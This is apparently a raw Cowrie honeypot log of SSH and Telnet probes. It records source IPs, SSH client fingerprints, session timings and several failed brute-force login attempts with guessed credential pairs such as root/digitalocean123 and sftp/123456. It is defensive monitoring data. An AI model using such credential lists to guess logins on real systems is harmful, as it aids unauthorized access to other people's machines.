{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:01.251630Z","src_ip":"193.32.162.145","session":"34ec6bfa45c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brain","password":"brain","message":"login attempt [brain/brain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:01.683671Z","src_ip":"193.32.162.145","session":"34ec6bfa45c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:02.797377Z","src_ip":"193.32.162.145","session":"34ec6bfa45c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.800735473632812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:06.476376Z","src_ip":"161.97.105.174","session":"5f9ec598f605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55400609970093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:07.820671Z","src_ip":"161.97.105.174","session":"1a1945cb4ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":46744,"dst_ip":"10.17.0.5","dst_port":22,"session":"216a170bf088","protocol":"ssh","message":"New connection: 209.99.189.174:46744 (10.17.0.5:22) [session: 216a170bf088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:08.314322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:08.323790Z","src_ip":"209.99.189.174","session":"216a170bf088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:08.453732Z","src_ip":"209.99.189.174","session":"216a170bf088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"digitalocean123","message":"login attempt [root/digitalocean123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:09.004961Z","src_ip":"209.99.189.174","session":"216a170bf088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.554723262786865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:09.988922Z","src_ip":"161.97.105.174","session":"4566d51affc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:10.136750Z","src_ip":"209.99.189.174","session":"216a170bf088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34731912612915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:12.853534Z","src_ip":"161.97.105.174","session":"12d1d8d14517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42250,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b590831215","protocol":"telnet","message":"New connection: 161.97.105.174:42250 (159.203.135.109:23) [session: a3b590831215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:13.173403Z"}
{"eventid":"cowrie.session.closed","duration":33.66556692123413,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:13.201358Z","src_ip":"161.97.105.174","session":"988f6a2ed066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80535554885864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:13.246902Z","src_ip":"161.97.105.174","session":"d8580673f9a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42256,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c64db73fd75","protocol":"telnet","message":"New connection: 161.97.105.174:42256 (159.203.135.109:23) [session: 2c64db73fd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:16.388949Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59226,"dst_ip":"159.203.135.109","dst_port":23,"session":"04696060cc7a","protocol":"telnet","message":"New connection: 161.97.105.174:59226 (159.203.135.109:23) [session: 04696060cc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:19.586699Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59232,"dst_ip":"159.203.135.109","dst_port":23,"session":"c46558d328dd","protocol":"telnet","message":"New connection: 161.97.105.174:59232 (159.203.135.109:23) [session: c46558d328dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:20.132878Z"}
{"eventid":"cowrie.session.closed","duration":32.81340265274048,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:21.293010Z","src_ip":"161.97.105.174","session":"6918ccf53e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.77524518966675,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:25.414070Z","src_ip":"161.97.105.174","session":"4846f09036ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.390382289886475,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:25.444347Z","src_ip":"64.227.101.30","session":"7cf6b7cb1b5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59242,"dst_ip":"159.203.135.109","dst_port":23,"session":"aee3cbeef7a2","protocol":"telnet","message":"New connection: 161.97.105.174:59242 (159.203.135.109:23) [session: aee3cbeef7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:28.008537Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48730,"dst_ip":"159.203.135.109","dst_port":23,"session":"2374e7128d60","protocol":"telnet","message":"New connection: 161.97.105.174:48730 (159.203.135.109:23) [session: 2374e7128d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:29.492647Z"}
{"eventid":"cowrie.session.closed","duration":45.742514848709106,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:31.145448Z","src_ip":"64.227.101.30","session":"1ab43cd1aa71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":59458,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ae8ac087ece","protocol":"ssh","message":"New connection: 200.118.150.20:59458 (159.203.135.109:22) [session: 9ae8ac087ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:31.477191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:31.481397Z","src_ip":"200.118.150.20","session":"9ae8ac087ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:31.575464Z","src_ip":"200.118.150.20","session":"9ae8ac087ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"123456","message":"login attempt [sftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:31.972691Z","src_ip":"200.118.150.20","session":"9ae8ac087ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":47272,"dst_ip":"10.17.0.5","dst_port":22,"session":"30e6849f95ca","protocol":"ssh","message":"New connection: 152.32.130.174:47272 (10.17.0.5:22) [session: 30e6849f95ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:32.387652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:32.392348Z","src_ip":"152.32.130.174","session":"30e6849f95ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:32.606904Z","src_ip":"152.32.130.174","session":"30e6849f95ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.15031313896179,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:32.884805Z","src_ip":"161.97.105.174","session":"78f76915dc58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:33.065830Z","src_ip":"200.118.150.20","session":"9ae8ac087ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pa$$w0rd","message":"login attempt [user/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:33.497571Z","src_ip":"152.32.130.174","session":"30e6849f95ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:34.715094Z","src_ip":"152.32.130.174","session":"30e6849f95ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48738,"dst_ip":"159.203.135.109","dst_port":23,"session":"b963f1b445bc","protocol":"telnet","message":"New connection: 161.97.105.174:48738 (159.203.135.109:23) [session: b963f1b445bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:34.999059Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":44243,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc1894072765","protocol":"ssh","message":"New connection: 103.170.173.26:44243 (10.17.0.5:22) [session: bc1894072765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:38.921926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:38.926194Z","src_ip":"103.170.173.26","session":"bc1894072765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:39.196996Z","src_ip":"103.170.173.26","session":"bc1894072765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e48482183c6","protocol":"telnet","message":"New connection: 161.97.105.174:35660 (159.203.135.109:23) [session: 1e48482183c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:39.520485Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"pass","message":"login attempt [minecraft/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:40.313918Z","src_ip":"103.170.173.26","session":"bc1894072765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:41.589846Z","src_ip":"103.170.173.26","session":"bc1894072765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":52998,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa4238ef9d95","protocol":"ssh","message":"New connection: 154.219.100.220:52998 (10.17.0.5:22) [session: fa4238ef9d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:41.804398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:41.809382Z","src_ip":"154.219.100.220","session":"fa4238ef9d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:42.011399Z","src_ip":"154.219.100.220","session":"fa4238ef9d95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADMIN123admin","message":"login attempt [root/ADMIN123admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:42.850953Z","src_ip":"154.219.100.220","session":"fa4238ef9d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:44.057046Z","src_ip":"154.219.100.220","session":"fa4238ef9d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.767784595489502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:44.941089Z","src_ip":"161.97.105.174","session":"a3b590831215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96146845817566,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:50.350296Z","src_ip":"161.97.105.174","session":"2c64db73fd75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.854013442993164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:52.440622Z","src_ip":"161.97.105.174","session":"04696060cc7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.498481035232544,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:29:54.631233Z","src_ip":"161.97.105.174","session":"c46558d328dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.482078552246094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:02.490474Z","src_ip":"161.97.105.174","session":"aee3cbeef7a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2776985168457,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:03.770215Z","src_ip":"161.97.105.174","session":"2374e7128d60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49224,"dst_ip":"159.203.135.109","dst_port":23,"session":"427c256f992a","protocol":"telnet","message":"New connection: 161.97.105.174:49224 (159.203.135.109:23) [session: 427c256f992a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:07.332386Z"}
{"eventid":"cowrie.session.closed","duration":34.620779514312744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:09.619701Z","src_ip":"161.97.105.174","session":"b963f1b445bc","protocol":"telnet"}
